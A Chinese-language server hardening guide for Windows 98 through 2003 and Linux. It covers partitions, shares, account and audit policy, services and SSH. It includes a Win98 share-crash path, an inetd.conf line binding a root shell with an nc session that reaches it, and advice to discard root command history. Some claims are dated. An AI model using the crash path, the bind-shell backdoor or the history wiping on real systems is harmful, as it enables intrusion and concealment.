如何配置你的操作系统
一、Win98/Me系统
对于这两种操作系统所受的网络攻击是比较少的,原因是其主要面对的是家庭用户,网络功能很弱,一般的服务器是不会选择这两种操作系统的,但是漏洞还是存在的,
比如说Win98的一个很著名的共享导致蓝屏的漏洞,当你共享一个分区比如说c盘的话,只要在运行里输入\\ip\c\con\con或者\\机器名\c\con\con就会导致蓝屏。原因是由于硬件冲突造成的,也是Win98的一个bug,黑客也经常利用这些漏洞攻击电脑。解决的办法就是不共享,安装补丁。目前来看,Win98/Me等操作系统的安全防范主要就是针对那些草鸟级别的黑客,只要注意安装网络防火墙,小心木马之类的软件就可以了。安装的时候尽量选用正版软件。
二、WinNT/2000/XP/2003系统
对于大多数网络服务器,选择的都是基于Win NT/2000等操作系统。XP的安全性比较高,2003刚刚发表到现在看还没有发现什么漏洞。下面详细的讨论一下NT/2000的系统安装和配置问题。
版本的选择
WinNT/2000都有各种语言的版本,对于国内用户来说主要见到的都是简体中文版和英文版本的,这也是一个老生常谈的问题,本人强烈建议选择使用英文版的操作系统,当然有语言障碍除外。原因我想大家也都明白,因为Windows操作系统是基于英文开发的,所以中文版的bug肯定要多于英文版,而且因为各种补丁是先发表英文版的,而中文版的往往要延迟一段时间,那么这延迟的这段时间就相当的凶险了。
正确的安装系统
选择安装途径,尽量不采用网络安装,另外强烈建议不要采用升级安装,而是进行全新的安装,这样可以避免升级后带来的种种问题。
硬盘的分区问题,有的网管图省事,硬盘只有一个分区,直接安装系统,这样做的风险是很大的,例如:iis缓冲溢出会影响整个系统的安全,建议分3个以上分区。第一个来安装系统和日志,第二个放IIS;第三个放FTP,这样无论IIS或FTP出了安全问题都不会影响到这个系统。IIS和ftp分开主要是为了防止黑客入侵时上传程序并且从IIS运行。另外不论是NT/2000 硬盘分区最好选择为NTFS格式,因为NTFS格式的安全性能要远高于fat/fat32。NTFS比fat分区多了安全控制的功能,可以对不同的文件夹设置不同的访问权限,可以启用EFS(Encrypt File System)对文件进行加密,安全性增强。最好在安装过程中根据系统的提示一步到位的格式化为NTFS格式,不要先格式化为fat32然后再转换到NTFS格式。
2000的问题,何时接入网络,Win2000在安装的时候有一个漏洞,当你输入administrator的密码后,系统自动建立admin$的共享,但是没有使用刚才建立的密码来保护该共享。这种情况下任何人都可以进入你的系统。同时安装后,各种服务自动运行,此时的机器是漏洞满身,非常危险,所以建议一定要在安装完毕,并且安装好各种补丁后才接入网络。
修改默认的安装路径
我们都知道,比如Win2000的默认路径为c:,这也存在安全的隐患,我们可以修改一下,比如d:!@#。这也能在一定的程度上保护系统。我的系统安装路径就比较复杂.
补丁的安装,无论是那种操作系统安装系统后,一定注意要先装上补丁把系统给修补好,如Win2000现阶段就要使用最新个sp4补丁。但是补丁的安装一定要在所有需要安装的程序安装完毕后,才进行安装,否则会导致某些不定不能正常的发挥作用。
系统的配置
1.端口,这可以说是计算机的第一道屏障,端口配置是否合理直接影响到计算机的安全,一般来说,打开需要的端口就可以了,配置方法是在网卡的属性中--tcp/ip--高级--选项--tcp/ip 筛选。根据自己的需要配置。
2.IIS配置,IIS是众多组件中公认的漏洞最多的一个,而微软的IIS默认安装实在不敢恭维,所以IIS配置是我们必须的一步。首先,删除系统盘符中的inetpub目录,然后再第二个盘中建一个Inetpub,或者干脆换个名字,然后在IIS管理器中将主目录指向新的文件地址。其次,删掉IIS默认安装时的scripts等目录。根据自己的需要建立,最后备份IIS。
3.彻底删掉缺省共享(其实大家上网时用的xp/2000/me大多都是共享所有的硬盘)
在Win 2000中,默认有如下共享:c$,D$……,还有admin$,ipc$等,我们可以在“计算机管理”--“共享”中删除,但是这样做还不能从根本上解决问题,因为如果重新启动,你就发现这些共享就又都出现了。如何完全解决这个问题呢?可以采用以下方法:
打开记事本并输入:
net share C$ /delete
net share D$ /delete
(根据自己的盘符输入,如果只有c,d两个盘符上述就可以了,然后继续下面的输入)
net share ipc$ /delete
net share admin$ /delete
然后保存为*.bat文件,可以随便命名,保证后缀为bat即可,然后把该文件添加到启动选项,至于如何添加方法比较多,最简单的就是拖入开始--启动文件夹里就行了。
4.账号策略
(1) 首先系统开的账号要尽可能的少,因为每多一个账号,就是增加了一分被暴力攻破的概率,严格控制账号的权限。
(2) 重命名administrator,改为一个不容易猜到的用户名,避免暴力破解
(3) 禁用guest 账号,并且重命名为一个复杂的名字,设置一个复杂的口令,并且从guest 组删除,防止黑客利用工具将guest提升到管理员组
(4) 建立健壮的口令,不要使用若口令如:zhangsan,iloveyou等等。
(5) 经常改变口令,检查账号。
5.安全日志
可以在2000的本地安全策略--审核策略中打开相应的审核,推荐如下:
账户管理 成功 失败
登陆事件 成功 失败
对象访问 失败
策略更改 成功 失败
特权使用 成功 失败
系统时间 成功 失败
目录服务访问 失败
账户登陆事件 成功 失败
在账户策略->密码策略中设定:
密码复杂性要求 启用
密码长度最小值 8位
强制密码历史 3次
最长存留期 30天
在账户策略->账户锁定策略中设定:
账户锁定 3次错误登录
锁定时间 15分钟
复位锁定计数 30分钟
作为一个管理员,要学会定期的查看日志,并且善于发现入侵者的痕迹。
6.目录文件权限
为了控制好服务器上用户的权限,同时也为了预防以后可能的入侵和溢出,我们必须设置目录和文件的访问权限。Windows NT的访问权限分为读取,写入,执行,修改列目录,完全控制。设置的时候注意以下原则:
1>权限是累计的:如果一个用户同时属于两个组,那么他就有了这两个组所允许的所有权限;
2>拒绝的权限要比允许的权限高(拒绝策略会先执行)如果一个用户属于一个被拒绝访问某个资源的组,那么不管其他的权限设置给他开放了多少权限,他也一定不能访问这个资源,所以请非常小心的设置,任何一个不当的拒绝都可能导致系统无法正常运行。
3>文件权限比文件夹权限高。
4>利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯之一;
5>仅给用户真正需要的权限,权限的最小化原则是安全的重要保障;
7.停掉所有不必要的服务(关于服务,大家可以看看我发的关于服务的贴子)
可以参考该方面的文章,根据自己的需要进行修改,本人仅列举两个危险服务:
task schulder和lanmanserver 这两个都比较危险,除非有特殊需要,否则停了他们。
三,Unix类系统的安装和配置
Unix在网络服务器中具有很重要的意义,一般的菜鸟级的黑客的攻击对于这类系统是没有太大的危害的,因为Unix毕竟不为大多数人掌握。
下面主要以linux为例说明
安装,首先隔离网络进行系统安装,选择custom方式,安装你的软件包。
硬盘分区,如果用root分区记录数据,如log文件和email就可能因为拒绝服务产生大量的日志和垃圾邮件,导致系统崩溃,所以建议为/var单独的建立分区,用来存放日志和email,避免root分区溢出。同时例如/hoMe之类的文件也建议单独分区。以下是分区建议:
/ root
/var log
/swap swap
/hoMe
当安装好后,及时打上安全补丁。防止因自己的疏忽给系统留下安全隐患。
关闭服务
默认的linux就是一个强大的系统,运行了很多的服务。但,有许多服务是不需要的,很容易引起安全风险。第一个文件是/etc/inetd.conf,它制定了/usr/sbin/inetd将要监听的服务,你可能只需要其中的两个:telnet和ftp,其他的许多如popd,imapd和rsh都是有可能引发安全问题的。用下面的命令显示没有被注释掉的服务:
suneagle# grep -v "#" /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd
NTalk dgram udp wait nobody.tty /usr/sbin/tcpd in.NTalkd
pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
imap stream tcp nowait root /usr/sbin/tcpd imapd
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
exec stream tcp nowait root /bin/sh sh -i
哈哈,大家看最后一行,不就被绑了个rootshell么?呵呵,有什么后果?呵呵看看,在远程的一台Win2000机器上用如下命令:
E:>nc 192.0.0.88 512
bash# id
id
uid=0(root) gid=0(root) groups=0(root)
bash#
知道了吧?嘿嘿,大家注意哦!
下个要启动的是.rc脚本,它们决定了init进程要启动哪些服务。redhat系统下,这些脚本在/etc/rc.d/rc3.d(如果你的系统以x为默认启动的话,就是/etc/rc.d/rc5.d)。要在启动时禁止某个服务,只需要把大写的S替换为小写的s,同时,redhat也提供一个工具来帮助你关闭服务,输入/usr/sbin/setup,然后选择"system services",就可以定制系统启动时跑哪些服务。另外一个选择是chkconfig命令,很多linux版本的系统都自带这个工具。脚本名字中的数字是启动的顺序,以大写的K开头的是杀死进程用的。
以下是一些主要的服务:
S05apmd 笔记本需要
S10xNTpd 网络时间协议
S11portmap 运行rpc服务必需
S15sound 声卡相关
S15netfs nfs客户端
S20rstatd 避免运行r服务,远程用户可以从中获取很多信息
S20rusersd
S20rwhod
S20rwalld
S20bootparamd 无盘工作站
S25squid 代理服务
S34yppasswdd NIS服务器,此服务漏洞很多
S35ypserv NIS服务器,此服务漏洞很多
S35dhcpd dhcp服务
S40atd 和cron很相似的定时运行程序的服务
S45pcmcia pcmcia卡,笔记本
S50snmpd SNMP,远程用户能从中获得许多系统信息
S55naMed DNS服务
S55routed RIP,没有必要就别运行它
S60lpd 打印服务
S60mars-nwe Netware的文件和打印服务
S60nfs NFS服务器,漏洞极多
S72amd automouNT,mouNT远程用的
S75gated 另外一种路由服务,例如OSPF
S80sendmail 邮件服务,如关闭,仍然可以发信,只是不能收信和作中继
S85httpd web服务器
S87ypbind NIS客户端
S90xfs X foNT服务器
S95innd News服务器
Slinuxconf 这个都熟悉吧,呵呵,通过浏览器远程管理系统用的
用这个命令察看在关闭启动脚本之前有多少服务在运行:
suneagle# ps -eaf|wc -l
取消root命令历史记录
在linux下,系统会自动记录用户输入过的命令,而root用户发出的命令往往具有敏感的信息,为了保证安全性,一般应该不记录或者少记录root的命令历史记录。为了设置系统不记录每个人执行过的命令,我们可以在linux的命令行下,首先用cd命令进入到/etc命令,然后用编辑命令来打开该目录下面的profile文件,并在其中输入如下内容:
HISTFILESIZE=0
HISTSIZE=0
当然,我们也可以直接在命令行中输入如下命令:ln -s /dev/null ~/.bash_history
严格管理好口令
黑客一旦获取具有根权限的帐号时,就可以对系统进行任意的破坏和攻击,因此我们必须保护好系统的操作口令。通常用户的口令是保存在文件/etc/passwd文件中的,尽管/etc/passwd是一个经过加密的文件,但黑客们可以通过许多专用的搜索方法来查找口令,如果我们的口令选择不当,就很容易被黑客搜索到。因此,我们一定要选择一个确保不容易被搜索的.
禁用telent
典型的终端通信有telnet和rlogin,他们采用名文通信,风险很大,容易被sniff, 我们可以用ssh替换这两个服务,ssh可以完全替代telent.
修改/etc/inetd.conf,就可以达到目的。
改变sshd的端口,同样是修改/etc/ssh/sshd_config.修改port 22一行,将22换掉。
禁止root通过ssh直接登陆
在linux下,默认sshd是允许root直接登陆的(freebsd默认是禁止的),修改后救算管理员进行系统维护也得先用普通账号登陆,然后变为root,这样的好处可以避免有人直接猜解账号登陆系统,不言而喻是多了一重保障。修改:
/etc/ssh/sshd_config
PermitRootLogin yes >PermitRootLogin no
这样就可以了。